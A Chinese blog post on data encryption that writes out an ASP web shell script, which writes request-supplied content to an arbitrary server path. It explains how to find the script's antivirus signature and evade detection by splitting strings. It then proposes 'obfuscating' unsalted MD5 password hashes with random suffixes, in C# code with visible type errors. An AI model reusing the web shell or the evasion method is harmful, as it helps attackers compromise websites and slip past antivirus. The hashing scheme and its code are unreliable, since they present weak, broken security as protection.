首页 > 其他分享 >不妨来探讨一下数据加密与解密

不妨来探讨一下数据加密与解密

时间:2024-07-30 18:17:37浏览次数:7  
标签:加密 string random 探讨 解密 字符串 MD5

常见的加密与解密一般有三大类:

1.对称加密算法: 加密和解密使用同一个密钥-----单密钥加密DES、 AES

2.不对称加密算法:加密和解密使用不同的钥-----(公钥,私钥)---安全性高

3.RSA哈希算法:MD5 SHA256

 

       2013年,我曾经做过一次对称加密算法的详细解释与应用,当然我编写的软件也一直使用对称加密算法来解决加密与解密的问题。在此期间我一直在思考密钥的安全性问题,如果存储到数据库,一旦数据库被提权后,我们的数据依然在“裸奔”,如果写入到编译文件中,貌似我们可以反编译来破解我们的密钥。“矛盾”的关系往往这么奇怪,既需要锋利的矛,又想有坚固的盾。

       某然间,对于数据安全想到了常见的“代码混淆”,这里从病毒免杀的角度用一个小示例来解释“代码混淆”:

1.<%     //脚本开始标记 2.dim FSOFIL     //声明变量FSOFIL                                                                                                                                                                                                                                                       3.dim Fildata     //声明变量Fildata 4.dim CountFil     //声明变量CountFil 5.on error resume next 6.Set FSOFIL = Server.CreateObject("Scripting.FileSystemObject") 7.if Trim(request("syfdpath"))<>"" then 8.Fildata = request("cyfddata") 9.Set CountFil=FSOFIL.CreateTextFile(request("syfdpath"),True) 10.CountFil.Write Fildata 11.if err =0 then 12.response.write "<font color=red>save Success!</font>" 13.else 14.response.write "<font color=red>Save UnSuccess!</font>" 15.end if 16.err.clear 17.end if 18.………… 19.………… 20.%>     //脚本结束标记       假定我们的一段木马程序的特征码是“Scripting.FileSystemObject”,我们将脚本分为20个文件,每一行为一个文件,通过杀毒软件开始查杀,即可得出第6行文件为病毒文件即特征码位于“Set FSOFIL = Server.CreateObject("Scripting.FileSystemObject") ”中。 随后我们将“Set FSOFIL = Server.CreateObject("Scripting.FileSystemObject") ”拆为“Set,FSOFIL, Server.CreateObject,("Scripting.FileSystemObject")“5个文件,再次使用杀毒软件进行查杀,即可得出("Scripting.FileSystemObject")为病毒文件,我们通过“代码混淆”的方式来做免杀,如下所示:                                                                              ("Scri”& “A1Pass”&”pting.F+"ileSyste”+ “A1Pass”&”mObject")       其实这里就是利用了”连接符“的特性来把我们的特征码进行了拆分,这样在最基础的免杀就做好了,当让也可用自定义字符串然后拼接来实现。好了现在大家对“代码混淆”有了一个初步的认识,我们再来看加密数据中的“代码混淆”。       已知md5的加密分为16字符串与32字符串,并且不可逆。例如"admin"加密后得出:       md5(admin,32) = 21232f297a57a5a743894a0e4a801fc3       存入数据库后应为:"1,admin,21232f297a57a5a743894a0e4a801fc3",分别代表id(自动增长),用户名,密码三个字段。现在我们对密码字段的MD5加密数据开展代码混淆: string MD5= "21232f297a57a5a743894a0e4a801fc3";   //取出MD5值 string GetId=id.tostring();//取出ID值 int substringToNo = Int.Parse(GetId[0].tostring());//取出ID值第一位 string finalString =MD5.IndexOf(GetId);//取出id值第一次出现的位置,如果没有则返回-1 if (finalString != -1) {     MD5=MD5+GenerateRandomString(substringToNo);//生成Id值第一位数字数量的随机字符串并插入到MD5值末端 } else {     MD5=MD5+GenerateRandomString(GetNo());//随机生成一个1-9位数字,根据这个数字生成对应字符串并插入到MD5值末端 }     public static string GenerateRandomString(int length) {     const char charStart = 'A'; // 起始字符     const char charEnd = 'z'; // 结束字符     const string specialChars = @"!@#$%^&*()_-+=[]{};':,./<>?\|"; // 特殊字符     Random random = new Random();     StringBuilder sb = new StringBuilder(length);     for (int i = 0; i < length; i++)     {         char c;         int randomNumber = random.Next(charStart, charEnd + 1);         if (random.Next(0, 100) % 2 == 0) // 随机决定是生成字母还是特殊字符         {             c = (char)randomNumber;         }         else         {             c = specialChars[random.Next(specialChars.Length)];         }         sb.Append(c);     }     return sb.ToString(); } public static Int GetNo() {     Random random = new Random();     return random.Next(1, 10); }       好的,现在我们可以得出一个33-42位的随机字符串做为我们的加密数据文件,当然解密就更加简单,只需要直接获取这个字符串的前32位即可。 string finalString =MD5.IndexOf(GetId);//取出id值第一次出现的位置,如果没有则返回-1 if (finalString != -1) {     MD5=MD5+GenerateRandomString(substringToNo);//生成Id值第一位数字数量的随机字符串并插入到MD5值末端 } else {     MD5=MD5+GenerateRandomString(GetNo());//随机生成一个1-9位数字,根据这个数字生成对应字符串并插入到MD5值末端 }

注意这个代码片段,我们其实可以把它变的更复杂、更具有迷惑性,就不过多去阐述,欢迎指正!

标签:加密,string,random,探讨,解密,字符串,MD5
From: https://www.cnblogs.com/ZilchWei/p/18333102

相关文章

  • Win11关闭BitLocker加密操作方法
    在Win11电脑操作中,许多新手用户不知道要如何操作才能成功关闭BitLocker加密?这时候就打开Win11系统命令提示符窗口,然后输入命令执行即可,也可以点击进入系统的控制面板,找到BitLocker驱动器加密选项,在这里进行关闭操作。以下就是Win11BitLocker加密关闭操作方法的详细介绍。Win......
  • 为什么要加密源代码?六款好用的源代码加密软件推荐
    在当今数字化时代,源代码是许多企业和开发人员最重要的资产之一。无论是保护知识产权、维护竞争优势,还是确保应用程序的安全性,加密源代码都是至关重要的措施。以下将详细探讨为什么需要加密源代码,并推荐六款好用的源代码加密软件。为什么要加密源代码?1.保护知识产权源代码......
  • 企业源代码加密软件,2024常用五款源代码加密软件推荐
    在当今的商业环境中,保护企业的核心知识产权,尤其是源代码,变得至关重要。源代码不仅是企业创新的基石,也是其竞争优势的关键。为了确保这些宝贵资产的安全,许多企业正在寻求有效的加密解决方案。以下是2024年推荐的五款源代码加密工具,它们能够为企业提供全面的安全保障。安秉源代......
  • 协议-TLS协议-客户端TLS解密的实现原理
    参考来源:练习实践-TLS协议01-Wireshark对https数据的解密练习实践-TLS协议01-客户端curl配合sslkey文件实现解密极客时间:网络排查案例课-实战二:应用层真实案例揭秘篇-20丨TLS加解密:如何解密HTTPS流量?客户端如何做TLS解密?这里说的客户端,包括了Chrome、Firefox等浏览......
  • LKT加密芯片优势
    凌科芯安公司作为加密芯片行业的高新技术企业,通过了ISO9001质量体系标准认证,其芯片操作系统LKCOS,通过了权威部门的严格检测,通过技术自主创新研发,保护了自己的知识产权和经济利益,更有效的保护了行业内的信息安全。凭借多年的智能卡技术的深入研究的同时,以及嵌入式加密领域积累的深......
  • 数独解密小程序
    本程序为C#控制台(.NetFramework目标框架)使用方法在data.csv中填好已有的数据,需要解密的数据空着不填。usingSystem;usingSystem.Diagnostics;usingSystem.IO;namespace数独解密{classProgram{staticvoidMain(){//动......
  • 自动解码并检索 S/MIME 加密电子邮件的正文 (python)
    我如何:用python代码连接我的邮件收件箱以自动获取未读电子邮件的加密内容;解码S/MIME加密电子邮件(我有密钥);检索电子邮件正文纯文本;检查正文(或主题)是否与某个关键字(现在为“test”)匹配,并在匹配时打印一些内容;在树莓派上使用此代码,无需手动......
  • 华为OD笔试机试真题算法 - 密码解密 (Java 2024年C卷D卷)
    华为OD机试(C卷+D卷)2024真题目录(Java&c++&python)题目描述给定一段“密文”字符串s,其中字符都是经过“密码本”映射的,现需要将“密文”解密并输出。映射的规则(‘a’~‘i’)分别用(‘1’~‘9’)表示;(‘j’~‘z’)分别用(“10*”~“26*”)表示。约束:映射始终唯一。......
  • LKT系列芯片数据加解密方案
    1.数据加解密应用方案目前线路上的数据保护主要使用的算法是3DES、AES、RSA。我公司将以这三种算法为基础介绍几种线路上数据加密的方案。1.13DES对称密钥加密方案1.发送方和接收方首先约定产生一个相同的管理密钥。2.在发送方的计算机中通过随机算法产生一个128位的随机密钥......
  • smartforms 转 PDF 并 BASE64 加密
      DATA:lv_fmname          TYPE tdsfname,       ls_control_param   TYPE ssfctrlop,       ls_job_output_info TYPE ssfcrescl,       ls_output_options  TYPE ssfcompop,       l_fm               TYPE......